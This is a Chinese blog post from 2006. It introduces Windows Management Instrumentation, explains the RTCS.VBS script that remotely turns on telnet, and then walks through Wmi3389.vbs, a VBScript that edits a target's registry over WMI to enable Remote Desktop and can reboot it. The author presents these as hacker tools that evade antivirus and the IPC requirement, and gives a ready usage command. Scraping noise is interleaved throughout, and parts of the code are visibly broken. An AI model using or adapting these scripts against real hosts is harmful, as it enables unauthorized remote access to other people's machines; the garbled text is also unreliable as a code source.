WMI入门
上一篇 / 下一篇 2006-11-02 10:38:38 / 个人分类:VB技术难点
|
一:WMI基础知识 #j nZtIH0==================================================================================== *q7u%[ j^0WMI 最初于1998年作为一个附加组件与 Windows NT 4.0 Service Pack 4 一起发行,是内置在Windows 2000、 Windows XP和Windows Server 2003 系列操作系统中核心的管理支持技术。基于由 Distributed Management Task Force (DMTF) 所监督的业界标准,WMI是一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源。大多用户习惯于使用众多的图形化管理工具来管理Windows资源,在WMI之前这些工具都是通过 Win32应用程序编程接口(Application ProgrammingInterfaces,API)来访问和管理Windows资源的。只要你熟悉系统编程你就知道API有多么重要。但是大多数脚本语言都不能直接调用Win32 API,WMI的出现使得系统管理员可以通过一种简便的方法即利用常见的脚本语言实现常用的系统管理任务。 ;bvUIC6^0利用WMI需要和脚本如WSH和VBscrīpt结合起来,可以实现的功能大家可以看微软的MSDN文档。 ;N)w9H-E9qXY2V2~8W0在编写我们自己的脚本之前,我们需要对WMI的体系结构有个基本的了解。如图一:(1.gif) 精英博客-@,au;T{1[/Ao 在WMI 体系结构中我们最需要关心的就是WMI提供程序,WMI提供程序在WMI和托管资源之间扮演着中间方的角色。提供程序代表使用者应用程序和脚本从WMI托管资源请求信息,并发送指令到WMI托管资源。下面是我们利用WMI编程经常要用到的WMI内置提供程序清单,以供编程参考。 Tp)l$t Y01.Active Directory提供程序 /eK `bG"j0链接库文件:dsprov.dll 精英博客-s e1\3|4GPD4G;T8Y q H 命名空间:root\directory\ldap ,o'^ }$s,oo:H [[?0作用:将Active Directory 对象映射到 WMI。 精英博客4OSp`:Q m } _ 精英博客D n ^*\"N 2.事件日志提供程序 Wu \l,Q9[B-d0链接库文件:ntevt.dll d!S|(x,j Z Q3Q0命名空间:root\cimv2 F1k(E5h5M3N(s0作用:管理 Windows 事件日志,例如,读取、备份、清除、复制、删除、监视、重命名、压缩、解压缩和更改事件日志设置。 精英博客.d^.~+w1Z}7O i 精英博客6f6|5o.H)h/H1i$XW F 3.注册表提供程序 -\&P-xS/x,R7} y*w#\-?0链接库文件:stdprov.dll 精英博客F[6l\] 命名空间:root\default 精英博客 c,y@Di 作用:读取、写入、枚举、监视、创建、删除注册表项和值。 P N9CJC0 9Tbz*\N9l Y}i04.Win32 提供程序 OM5vF7G5ts5w2y|%{*a0链接库文件:cimwin32.dll 5\,kL1?2nKg0命名空间:root\cimv2 }3KP?I6T1P2yi%L0作用:提供关于计算机、磁盘、外围设备、文件、文件夹、文件系统、网络组件、操作系统、打印机、进程、安全性、服务、共享、SAM 用户及组,以及更多资源的信息。 精英博客/a o2AeZT} 精英博客oW[8ms 5.Windows 安装程序提供程序 .a1H0q:w.R9oH0链接库文件:msiprov.dll 精英博客tQ{ r1OP@%S!@ lh 命名空间:root\cimv2 @|^z#c {5f0fX"m0作用:提供对已安装软件信息的访问。 精英博客Zd#A(]5\Fw){!j| 精英博客C`jp A!g+n+HmM 从上面可以看出在WMI中类(即内置提供程序)被分组到命名空间中,命名空间可以看成是一个组。比如,命名空间 root\cimv2 包括大部分表示通常与计算机和操作系统相关联的资源的类。在使用类的时候要说明类所在的命名空间。类由属性和方法构成。这是可视化编程中的两个重要的概念。属性描述的是对象的状态,方法是对象可以执行的操作。 (j*m&Z5`(a0?`0理论知识学起来很枯燥,下面让我们边分析高手的脚本源码边进行理论知识的巩固吧。 ,j2egk:\q0 !zJ~w [1E&?)VQ-s@Bq0二:解析RTCS.VBS主要代码 精英博客 Y#O\9aC!B7q2V[ ===================================================================================== $V}?zXx5M)w0有时候阅读别人的源码未尝不是一个好而且快捷的办法,下面就让我们来认真学习zzzEVAzzz编写的一个可以远程开启telnet服务的脚本RTCS.VBS。 精英博客 D'YT3x8B#`N 该脚本可以直接访问目标的WMI,不依赖于目标的ipc$,实现远程开启/关闭目标telnet服务,为了方便大家学习我抽出了最主要的代码,具体分析如下: y Xz@1TK m'Vb0set objlocator=createobject("wbemscrīpting.swbemlocator") 精英博客[~*tKreQ //创建Wbemscrīpting.SwbemLocator对象(脚本接口)。 B{4b6lMq?0//可以看出WMI其实就是把Com组件Wbemscrīpting.SWbemLocator封装起来罢了。 精英博客$CZ}{| set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password) 精英博客+B.k@cF //通过ConnectServer函数请求连接到WMI控件服务上,root/default为命名空间。 (j6{nT m0set objinstance=objswbemservices.get("stdregprov") 精英博客~]T#u/i/g5v,e3H //建立访问注册表的实例。 k u W\XbU&|_^0set objmethod=objinstance.methods_("SetDWORDvalue") 精英博客2aM)QInI&w //建立可以更改注册表键值的方法。 精英博客z ni/eXi set objinparam=objmethod.inparameters.spawninstance_() 精英博客0rIF5Bx%O //MethodData.InParameters用于获取或设置方法的输入参数。这里用spawninstance方法为它建立一个子实例,下面就可以将参数值赋予这个对象的属性。 精英博客*ry2z'y sZk\}'qTW9C objinparam.hdefkey=&h80000002 精英博客k)gp5kC5k1x?[#z //hdefkey表示根键,根键的十六制值如下: !P{%f)\ j2[0//HKEY_CLASSES_ROOT (&H80000000) 精英博客y#skA1^-u.T //HKEY_CURRENT_USER (&H80000001) ,XRz`wsD0//HKEY_LOCAL_MACHINE (&H80000002) 精英博客1~:Z Kzn(?M //HKEY_USERS (&H80000003) 精英博客 d]uhFqn //HKEY_CURRENT_CONFIG (&H80000005) 精英博客WJ7e4_ ~k?3e objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0" 精英博客0q&n7CnV //ssubkeyname表示子键。 精英博客f e$]Ar$m objinparam.svaluename="NTLM" 精英博客gsYn}8f&ma //svaluename表示属性名。 精英博客NF0D\9rqN%c objinparam.uvalue=ntlm 精英博客)?6k-]$\1|bcIc //uvalue表示键值。 精英博客~#L5Q%T&E4e set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) Q+q2| [@3ge*S{0//利用execmethod执行方法,这里才真正改写了注册表。 精英博客;v xn.mA2Wc -KHGX.N0//下面是修改telnet服务的TelnetPort值,原理同上。 精英博客] M8nkM*\+b objinparam.svaluename="TelnetPort" 精英博客il'S*A"G Nxe objinparam.uvalue=port 精英博客7Dz0bIJmUG set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) V*H c w}0H(VAO0 { he}/pq6Q0修改telnet的注册表部分就完成了,将NTLM和TelnetPort进行了修改,要是对方的telnet服务没有开启呢?下面就需要根据telnet的具体情况,来启动telnet服务,继续看代码。 ^t&Wyy C/yMG0精英博客z[&AcZ //首先查询远程主机上tlntsvr的启动方式。 精英博客ic'S`9g }\R0N,b set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password) 'iaW"i1z2S'^x'}+q8E*R0//win32_service类在root\cimv2命名空间中,作用没忘记吧?快看基础知识呵。 精英博客(nm#RY V set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'") 精英博客"Y2jPz'p-P7H1["M&W;C //注意:查询都是通过枚举来实现的。 精英博客-g+k#Flhu{ for each objinstance in colinstances Zv1FW n0if objinstance.startmode="Disabled" then 精英博客&|*ut `"Zy set objmethod=objinstance.methods_("changestartmode") h1?@,L hhx7B_CD0//创建changestartmode方法来改变tlntsvr的启动方式。 #Y.WN-Se4lG:Tt0set objinparam=objmethod.inparameters.spawninstance_() \1U h ]J0objinparam.startmode="Manual" bK9].YS6W:[pR0//将启动方式改为手动方式。 精英博客9Y8~~:~n;BE^`vF set objoutparam=objinstance.execmethod_("changestartmode",objinparam) "r[*t@&S']P0end if :u8JgI7Z!@,dC7A \SC W0精英博客U0{)c%L)l.W HV!@q5@A //下面启动我们的telnet服务。这里zzzEVAzzz的思路好象有点不对,也不知道是不是他的疏忽,我个人认为当telnet服务已经启动时不应该用stopservice方法停止服务。 精英博客7mwh^+y4jf1|1w:@q if objinstance.started=true then 精英博客,PRX#hY/f$z l intstatus=objinstance.stopservice() m^)rdw M w*T,m5G+B0//stopservice是WMI中用于停止服务实例的服务的方法。 精英博客0O:Yu gw6l!p?'y else 精英博客n](ay`s intstatus=objinstance.startservice() +C|-s6]!S%}R0end if `P [8TMhQ BA(b*A {Z0next 精英博客 r{fUt E hW\m'O0三:手把手教你编写WMI版本的ROTS.vbs来开启3389 精英博客.`j5[)efbEV ===================================================================================== 0BPLKq_C%W0zzzVEAzzz 的脚本就分析到这里吧,怎么样?很EASY吧?!我相信大家现在一定蠢蠢欲动了?:)好,一起来写一个什么程序呢?ROTS.vbs我想大家一定都用过吧?什么东东啊?我……砸!大家应该知道这个ROTS是有它的使用条件的,不仅要有管理员帐号,还要允许进行ipc连接,在这个到处都是墙的年代,ipc 早就不实用了,而且ROTS.vbs早就被查杀了,那该怎么办?当然是自己动手了。能不能实现ROTS的一样的远程开启3389的功能而不受ipc的限制呢?答案自从我写了这篇文章后成为肯定的,哈哈,吹吹了。 1W@;^k%L"FH+GZD0当然我们也是要求系统至少是2000server及以上的,最近看到有个软件可以给2000pro开3389,由于比较忙,也没怎么去理它,这里我们暂且不说它,知道了原理一样好办。 "uS3To*g I0开启3389有个注册表导入的方法,其它一些软件的开法,我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表: 精英博客,L*@vhd,{3|9~z Windows Registry Editor Version 5.00 ^ {L;d@)PeC0精英博客'cO;h#t2k6Kk [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] G:@\)mAvI [6V0"Enabled"="0" 精英博客2JcP&zq t2cu [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 精英博客*^?j!ms6fB#Hu "ShutdownWithoutLogon"="0" ^f:x$A&y9g0[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] -Jo,gg G1TBd0"EnableAdminTSRemote"=dword:00000001 精英博客0Dj7K%zr g [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] 6V#Y!r(I0I4C1J0"TSEnabled"=dword:00000001 精英博客3g0Om0G M:I [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] +O"F-Jy{+P4nez0"Start"=dword:00000002 精英博客4s,n;Q^7R [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] l2Ne)baX G y0"Start"=dword:00000002 精英博客C AZY#x!mMGB [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] 精英博客h2WX;~B+aEvT$T "Hotkey"="1" 精英博客0N4pi"`~1J2V 精英博客 h@1^6s&Y_ 原理知道了就没什么难的了,先理清我们的思路,我们的主要任务是更改注册表里的键值。首先是创建WMI对象,然后是连接到远程WMI服务器,最后修改注册表键值。 精英博客y9un8_%?9@ 部分主要代码如下(完整的代码和详细的注释请看附带的软件包) 精英博客B1Gi3B'N^o0O pE{3u]8H1Id(xE0on error resume next j?%|iHl0//防止出现意外。 ,~Pd3S0`0set outstreem=wscrīpt.stdout 精英博客$Z c'JZa+WH if (lcase(right(wscrīpt.fullname,11))="wscrīpt.exe") then 精英博客U Y["jEh set objShell=wscrīpt.createObject("wscrīpt.shell") 精英博客/C'p3A%Rj*p objShell.Run("cmd.exe /k cscrīpt //nologo "&chr(34)&wscrīpt.scrīptfullname&chr(34)) ~I'LJ}l1_v#B0//cmd后带/K参数表示执行字符串指定的命令。 | a2tao/^*{-M0wscrīpt.quit 精英博客Au^lH)M4QoP end if 精英博客N!@ Q'N(xs&Uc.gc //进行简单的检查。 B9M J`iC0if wscrīpt.arguments.count<3 then H$Oo-l&U)J b0usage() jMk1bj#j m M0wscrīpt.echo "Not enough parameters." 9G;[8Yu`4?P0wscrīpt.quit ^ g-ZwB(dYOlqo0end if \(CX jzc0gE4fP0//取出参数,分别赋予几个变量。 精英博客9n&y0a \2S ipaddress=wscrīpt.arguments(0) )Lr/X8B5B:Kp8}8J0username=wscrīpt.arguments(1) 精英博客bB%ky8oY0q password=wscrīpt.arguments(2) 精英博客c*e,IE9S option=wscrīpt.arguments(3) +?f/rG.H0usage() 精英博客Dl%Ye'T9V ;qc1dc"B*WurWm0下面是核心代码,也是实现远程修改注册表的功能,我这里给出另外一种实现的方式,对照前面的代码很容易理解,我就只作简单的解释了。详细情况可以参阅MSDN文档中关于StdRegProv类的说明。 {u'iM;[*Ak0(http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp) 4w$f0p!lx2G5a0精英博客%X+]'d&[r;W const HKEY_LOCAL_MACHINE = &H80000002 精英博客(Uf~9Qu const HKEY_USERS=&H80000003 精英博客R_9{%Sg ~;Y/K8k strComputer = ipaddress w F]t't*y AMH0 M VS'rV Uw0//获取wmi对象 精英博客)y/xGmV~?:{:~ Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ 精英博客7E*T{ZnZ strComputer & "\root\default:StdRegProv") #e,PNEl+AR0M4I0精英博客1v` g8I*\%R {z~ strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" 6wiZQM HYy,o1r0strValueName = "Enabled" 精英博客7{v9mHb1Fv]#u strValue=0 k$s5H$Tq0oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue TzViU0 L E9b^;lu0strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" v#z/H8t l)l!['I3Y0strValueName = "ShutdownWithoutLogon" GL O(A;cc)Ji0strValue=0 m$ce O2@0oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue 精英博客7`-OBI*i/bR 6?sX%q^X0strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer" 精英博客Q(CV w'U@.E)c7s strValueName = "EnableAdminTSRemote" 0cx$Wvbxa ^0strValue=1 精英博客+n1u:Su;T/c*|l oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue 精英博客gzu+SG#v_ 0U:b%T;eQ"x&n"}T0strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" 4i-X\"?v6I"[&B0strValueName = "TSEnabled" G,y r7^/c``t0strValue=1 精英博客K%G.wF*\O oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue P*bcQ^?F;u)v0 }*u7[@qh0strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD" O(tqG0IqO0strValueName = "Start" e`8{pS0hf,X0s;V0strValue=2 8xh$]C8o'M UI0oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue 精英博客r8piOT:P)t_p 3l"XQ~:x0xp0strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService" 4R$z U%e z0strValueName = "Start" 精英博客z(^0F r$w.@6s8k strValue=2 1iy5_$d*O({;h'X0oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue f E!P^0M:{uuK0 pS]"KC!]2~0strKeyPath = ".DEFAULT\Keyboard Layout\Toggle" 精英博客-M*`CU2e}f[ strValueName = "Hotkey" 精英博客jV }nt strValue=1 精英博客}KdiJ] p oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue 精英博客o@V;Ga"^0K 精英博客z)?#i r{c%}O //下面实现重启远程机器 精英博客G7j'SXT+R.b~ if option="/r" then 精英博客J"Pkyq&l*VO%`?8P,? outstreem.write "Now, rebooting target...." 8X ?@-? tC0strwmiquery="select * from win32_operatingsystem where primary='true'" 精英博客2M k'gq? tB[ set colinstances=objswbemservices.execquery(strwmiquery) K`m8sJBT p0for each objinstance in colinstances 精英博客@9C9_'hI6oH1@e objinstance.win32shutdown(2) 精英博客nb"LSohn end if 精英博客}0CfJ U'K} outstreem.write "Ok, rebooted the target." `)]p!V*c^0精英博客D'Om;N)Y:K%E-bqS //简单的用法说明的函数。 精英博客6Lp'j @T*\ Z function usage() k6a'j[*w.il}0wscrīpt.echo string(60,"=") @d(g+]8xN/VM0wscrīpt.echo "Wmi3389 v1.0.0" 精英博客b8f+@w+E(I6`o)E7H[:c wscrīpt.echo "No ipc Open 3389, code written by pye." \,L{G;un0wscrīpt.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn" k?:mC6@+J#t(B0wscrīpt.echo "Usage:" {6Lq!M`^hvz5r0wscrīpt.echo "cscrīpt "&wscrīpt.scrīptfullname&" targetIP username password [/r]" ]n;k-QL0wscrīpt.echo "/r reboot the target this is optional" BVv#]y BR0wscrīpt.echo "It use WMI to Open 3389 of target server." 精英博客i@-XS-Sd2f P wscrīpt.echo string(60,"=")&vbcrlf 精英博客8aP:R)p(Bt end function 精英博客A8c'c(@xU%q\h 将上面的代码复制带记事本里,保存为Wmi3389.vbs。然后在CMD里执行: 精英博客+f b?;hkTj#g cscrīpt Wmi3389.vbs ipaddress administrator password [/r] +Ii0|Y D u;q0看看是不是和ROTS.vbs有一样的效果啊?大家赶快实践实践吧。 /D,D-FZ1n6Qr0 b u-[.e-p$W0四:最后的唠叨 jB%P4b.X0===================================================================================== 精英博客$fWTM9?E9BB 大家可以看出WMI的功能是很强大的,这里要感谢MicroSoft了,它是永远都不会让我们失望的。WMI对象允许通过VB,VBA,WSH, VBscrīpt, Jscrīpt,ASP,或是支持自动对象的其它环境,对WMI进行完全访问。在参考查询体系中加入 WMI scrīpting V1.1 Library ,则Visual Basic或是VBA方案就可以访问这些对象了。支持ActiveX程序的操作平台可以通过对象类的代号,或是类的名称创建这些对象,这些对象的前缀是Wbemscrīpting,如 Wbemscrīpting.SwbemLocator。所以大家有兴趣的完全可以利用VB,WSH,VBscrīpt, Jscrīpt,ASP等编写更多的利用WMI的黑客程序。 |
相关阅读:
- 使用插件功能扩展VB(COM系列) (Alex_yao, 2006-10-19)
- VB05开发外接程序Connect类中需了解的事件(COM系列) (Alex_yao, 2006-10-19)
- VB05编写外接程序的有用函数(COM系列) (Alex_yao, 2006-10-19)
- Shell开启程序与关闭 (Alex_yao, 2006-10-20)
- VB建立控制台程序 (Alex_yao, 2006-10-31)
- 万能胶WHS-深入Windows脚本技术 (Alex_yao, 2006-10-31)
TAG: VB技术难点